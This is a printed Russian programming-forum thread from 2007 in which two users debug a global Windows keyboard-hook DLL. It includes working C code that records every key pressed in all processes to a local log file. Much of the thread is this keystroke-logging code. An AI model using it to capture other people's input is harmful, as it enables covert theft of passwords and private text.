Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Системное программирование и WinAPI > Проблема с записью файлов


Автор: Mark4545 21.7.2007, 17:36
Код keyboard proc хука WH_KEYBOARD
Код

LRESULT CALLBACK KeyProc(int nCode,WPARAM wParam,LPARAM lParam)
{
    if((nCode>=0)&&(lParam & 0x40000000))
    {
        ushort Symbol=ToKey(wParam);// это моя функция преобразую в ascii
        DWORD nofbw,xy;
        OVERLAPPED ovl;
        char buff[2]={0,0};
        buff[0]=Symbol;
        bool wf=WriteFile(hFile,buff,strlen(buff),&nofbw,&ovl);
        bool  res=GetOverlappedResult(hFile,&ovl,&xy,true);
        if(wf==true)
        {
            MessageBox(0,"ok","ok",0);
        }
        else
        {
            char a[100];
            sprintf(a,"%d",GetLastError());
            MessageBox(0,"failed",a,0);
        }
        CloseHandle(hFile);
        return true;
    }
    if(nCode<0)
    {
        return CallNextHookEx(Hook,nCode,wParam,lParam);
    }
    
}

не записывает в файл почему я не смогу понять, надесюь на вашу помошь.
Результат гет ласт еррор 6 ( ERROR_INVALID_HANDLE) почему он инвалид не понятно.
Заранее спс
Да и забыл креате файл происходит в длл процесс аттач 
вот так
Код

hFile=CreateFile("lol4.txt",GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                        OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);


Добавлено через 5 минут и 41 секунду
HANDLE HFile обьявлен глобальной переменой

Автор: 586 21.7.2007, 19:28
Цитата(Mark4545 @  21.7.2007,  18:36 Найти цитируемый пост)
Результат гет ласт еррор 6 ( ERROR_INVALID_HANDLE) почему он инвалид не понятно.

При инициализации хука создаешь файл CreateFile, и хендл и PID твоего приложения расшариваешь. При инициализации DLL в DLL_PROCESS_ATTACH дублируешь хендл функцией DuplicateHandle и пользуешься им.
Цитата(Mark4545 @  21.7.2007,  18:36 Найти цитируемый пост)
HANDLE HFile обьявлен глобальной переменой

В другом прицессе он не действителен. Его надо дублировать.
Будет время напишу...

Автор: Mark4545 21.7.2007, 19:43
Такое ощушение тока 586 смотрит форум и отвечатет). Пока мало понятно но буду ждать полного ответа.

Автор: 586 21.7.2007, 23:03
Код
#include <windows.h>
#include <stdio.h>

#pragma data_seg(".SData")
DWORD dwHostProcessId=0;
HANDLE hHostFile=INVALID_HANDLE_VALUE;
#pragma data_seg()
#pragma comment(linker,"/SECTION:.SData,RWS")

// DO NOT SHARE!
HINSTANCE hInst;
HHOOK hook=NULL;
HANDLE hFile=INVALID_HANDLE_VALUE;
//

void WriteLog(char *msg)
{
    SYSTEMTIME st;
    DWORD dwWritten;
    char b[520];
    char modName[260];

    GetLocalTime(&st);
    GetModuleFileName(NULL, modName, 260);
    sprintf(b, "%d:%.2d:%.2d  [%s (%d)]  %s\r\n",
        st.wHour, st.wMinute, st.wSecond,  modName, GetCurrentProcessId(), msg);
    WriteFile(hFile, b, lstrlen(b), &dwWritten, 0);
}

UINT ShowErrDscr(HWND hWnd, char *title, UINT style)
{
    UINT res;
    char *b;
    FormatMessage(0x1100, 0, GetLastError(), 0, (char*)&b, 0, 0);
    res=MessageBoxA(hWnd, b, title, style);
    LocalFree((HLOCAL)b);
    return res;
}

bool InitHandles()
{
    HANDLE hHostProcess=OpenProcess(PROCESS_DUP_HANDLE, TRUE, dwHostProcessId);
    //DEBUG
    if(!hHostProcess)
    {
        ShowErrDscr(NULL, "Can't open process", 16);
        return false;
    }
    BOOL bDup=DuplicateHandle(hHostProcess, hHostFile, GetCurrentProcess(), &hFile, NULL, TRUE,  DUPLICATE_SAME_ACCESS);
    CloseHandle(hHostProcess);

    //DEBUG
    if(!bDup)
    {
        ShowErrDscr(NULL, "Can't dup handle", 16);
        return false;
    }

    WriteLog("Attach");
    return true;
}

BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD reason,LPVOID reserved)
{
    switch(reason)
    {
    case DLL_PROCESS_ATTACH:
        hInst=hModule;
        if(hHostFile==INVALID_HANDLE_VALUE)
        {
            dwHostProcessId=GetCurrentProcessId();
        }
        else
        {
            return InitHandles();
        }

        break;

    case DLL_PROCESS_DETACH:
     WriteLog("DLL_PROCESS_DETACH");
     if(hook)
     {
            WriteLog("UnhookWindowsHookEx");
         if(!UnhookWindowsHookEx(hook))
           WriteLog("WARNING: UnhookWindowsHookEx return FALSE");
        }
     CloseHandle(hFile);
     break;
    }

    return true;
}

LRESULT CALLBACK KeyboardMsgProc(int nCode,WPARAM wParam,LPARAM lParam)
{
    if(nCode<0) return CallNextHookEx(hook,nCode,wParam,lParam);
    if(!(lParam & 0x40000000))
    {
        //BYTE c=(LOBYTE(wParam));
        WriteLog("[HOOK] KeyDown");

    }

    return 0;
}

extern "C" __declspec(dllexport) bool SetHook()
{
    hFile=hHostFile=CreateFile("C:\\test.txt",
                                GENERIC_WRITE,
                                3, 0, CREATE_ALWAYS,
                                FILE_ATTRIBUTE_NORMAL, 0);
    if(hHostFile==INVALID_HANDLE_VALUE)
    {
        ShowErrDscr(NULL, "Can't create output file", 16);
        return false;
    }

    hook=SetWindowsHookEx(WH_KEYBOARD,KeyboardMsgProc,hInst,0);
    if(!hook)
    {
     ShowErrDscr(NULL, "Can't set hook", 16);
     CloseHandle(hFile);
     hHostFile=INVALID_HANDLE_VALUE;
     return false;
    }

    WriteLog("Hook is initialized!");

    return true;
}

Заметил, что после отмены хука dll'шки из процессов, окна которых свёрнуты, выгружаются не сразу. Если переключиться на это приложение, dll'шка выгружается. Так должно быть, или у меня ошибка к коде?

Автор: Mark4545 21.7.2007, 23:21
ща уже не в состоянии осилит код , завтра днем со свежей головой посмотрю.
Но могу сказать что  когда я использовал
Код

LRESULT CALLBACK keyproc(int nCode,WPARAM wParam,LPARAM lParam)
{
   
    if((nCode>=0)&&(lParam & 0x40000000))
    {
     if((wParam!=0x08)&&(wParam!=0x09)&&(wParam!=0x0D)&&
        (wParam!=0x10)&&(wParam!=0x11)&&(wParam!=0x12)&&
        (wParam!=0x1B)&&(wParam!=0x20))
         {
                    unsigned short int Symbol=GetSymbolFromVK(wParam);
           FILE *fp=fopen("lol.txt","a+");
                           fputc(Symbol,fp); 
                           fclose(fp);
         } 
         fclose(fp);  
         return true;
    }
    else
    {
        return CallNextHookEx(hook,nCode,wParam,lParam);
    }

При переключении из одного окна в другое в лог переставало писать .
При использовании простого мессадж бокса при переключении перехватывает клавиши нормально.

Автор: Mark4545 23.7.2007, 12:11
так что никто не знает в чем проблема.

Автор: Mark4545 23.7.2007, 15:47
спс 2  586  о5 помог. Сурс пашет щас буду разбирать подробно.) Возможно еще вопросы появяться)

Автор: 586 23.7.2007, 16:56
Код
#include <windows.h>
#include <stdio.h>

// DO NOT SHARE!
HINSTANCE hInst;
HHOOK hook=NULL;
//

UINT ShowErrDscr(HWND hWnd, char *title, UINT style)
{
    UINT res;
    char *b;
    FormatMessage(0x1100, 0, GetLastError(), 0, (char*)&b, 0, 0);
    res=MessageBoxA(hWnd, b, title, style);
    LocalFree((HLOCAL)b);
    return res;
}

BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD reason,LPVOID reserved)
{
    switch(reason)
    {
    case DLL_PROCESS_ATTACH:
        hInst=hModule;
        break;

    case DLL_PROCESS_DETACH:
     if(hook)
     {
         UnhookWindowsHookEx(hook);
        }
     break;
    }

    return true;
}

static char s[2]={0, 0};

LRESULT CALLBACK KeyboardMsgProc(int nCode,WPARAM wParam,LPARAM lParam)
{
    if(nCode<0) return CallNextHookEx(hook,nCode,wParam,lParam);
    if(!(lParam & 0x40000000))
    {
        s[0]=wParam;
        FILE *f=fopen("C:\\test.log", "a+");
        fprintf(f, "KEY DOWN  (%d) %s\r\n", GetCurrentProcessId(), s);
        fclose(f);

    }

    return 0;
}

extern "C" __declspec(dllexport) bool SetHook()
{
    hook=SetWindowsHookEx(WH_KEYBOARD,KeyboardMsgProc,hInst,0);
    if(!hook)
    {
     ShowErrDscr(NULL, "Can't set hook", 16);
     return false;
    }
    return true;
}

Автор: Mark4545 23.7.2007, 18:02
еще один сенкс то 586.Разбираю щас первый вариант кода, но никак не  могу понять зачем же дублировать хэндлы?. Какнить попроще если не трудно обьясните.


Автор: 586 23.7.2007, 19:23
Цитата(Mark4545 @  23.7.2007,  19:02 Найти цитируемый пост)
но никак не  могу понять зачем же дублировать хэндлы

Потому что в других процессах они не действительны.
Цитата(Mark4545 @  21.7.2007,  18:36 Найти цитируемый пост)
Результат гет ласт еррор 6 ( ERROR_INVALID_HANDLE)

Правда, если у процесса в который внедрен хук мало привелегий, он не сможет дублировать хендл.
Можно использовать второй пример, т.е. открывать и закрывать файл каждый раз после нажатия клавиши. На производительность это повлияет. Но второй пример надежнее и легче реализовывается.

Автор: Mark4545 23.7.2007, 19:48
это я заметил что второй код полегче.
Ну значит основываясь на втором коде 586 начал писать библиотеку 
Написал:
Код

#include "export.h"
HINSTANCE hInst;
HHOOK Hook;
LRESULT CALLBACK keyproc(int nCode,WPARAM wParam,LPARAM lParam);
bool DllMain(HANDLE hModule,DWORD reason,LPVOID lPvoid)
{
    if(reason==DLL_PROCESS_ATTACH)
    {
       hInst=(HINSTANCE)hModule;
    }
    if(reason==DLL_PROCESS_DETACH)
    {
         UnhookWindowsHookEx(Hook);
    }
    return true;
}

export  bool SetHook()
{
    Hook=SetWindowsHookEx(WH_KEYBOARD,keyproc,hInst,0);
    if(Hook==NULL)
    {
        return false;
    }
    else
    {
        return true;
    }
}
char s[2]={0,0};
LRESULT CALLBACK keyproc(int nCode,WPARAM wParam,LPARAM lParam)
{
    if((nCode>=0)&&(lParam & 0x40000000))
    {
        s[0]=wParam;
        FILE *file=fopen("test.txt", "a+");
        fprintf(file, "KEY DOWN  (%d) %s\r\n", GetCurrentProcessId(), s);
        fclose(file);
        return 0;
    }
    return CallNextHookEx(Hook,nCode,wParam,lParam);
}

Мистика не работает( при том что код 586 работает отлично)
В чем проблема  скока думал так и не нашел.Вроде фактически почти тоже самое.
И вопрос  №2
Конечно если я не надоел.
В моем понимании Dll при глобальном хуке грузиться ко всем процессам, и каждая копия принадлежит к тому процесу к которому подгружена.
Меня интересует поведение переменых которые находяться в Shared секции Dll.
(и если у кого есть линк на подробные описания и работы с Shared секцией Dll пока сам искал подробных документов с маленькими примерчиками не попадались)
Спс за внимание.

Автор: 586 23.7.2007, 20:06
Цитата(Mark4545 @  23.7.2007,  20:48 Найти цитируемый пост)
FILE *file=fopen("test.txt", "a+");

Пиши полный путь!!! Рабочие папки у процессов разные.

Автор: Mark4545 23.7.2007, 20:35
Да уж понял ошибку.
А как насчет 2го вопроса.

Автор: 586 23.7.2007, 22:15
поиск по словам "shared memory" или "shared section rws"
http://www.wasm.ru/article.php?article=1005015 (читай после "Несколько комментариев от assembler.ru")

Автор: Mark4545 23.7.2007, 22:18
Ассемблер мне тут не сильно поможет нужна дока на С каянить.

Автор: 586 23.7.2007, 22:49
там ассемблер не обязательно знать. Говорю, читай после слов "Несколько комментариев от assembler.ru", и вообще поиск рулит

Автор: Mark4545 23.7.2007, 22:56
так читал, после этих слов). Поиск юзал нашел пару статей но слишком громоздкие.
Уважаемый 586 не могли бы вы своим языком о шаред секции расзказать

Автор: 586 23.7.2007, 23:12
короче, там написано, что
1. Переменные в такой секции инициализируются только один раз.
2. Shared-Секции в двух одинаковых приложениях исп. модулях, запущенных из разных папок или под разными именами будут независимые друг от друга.
3. Данные в секции располагаются по одному физическому адресу, т.е. система их ни куда не копирует.
остальное в поиск. удачи  smile

Добавлено @ 23:14
google.ru

Автор: Mark4545 23.7.2007, 23:16
В гугл ссылки уже на первых 2ух страницах фиолетовые).Меня больше интересует использование Шаред секции на какомнить легом математическом примере.

Добавлено через 8 минут и 33 секунды
Хех нашел у себя на компе ответ на свои вопросы в книге Рихтера.
ЗЫ. 586 будет 100 постов репутацию подниму))). Спс те.
Тему можно закрывать.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)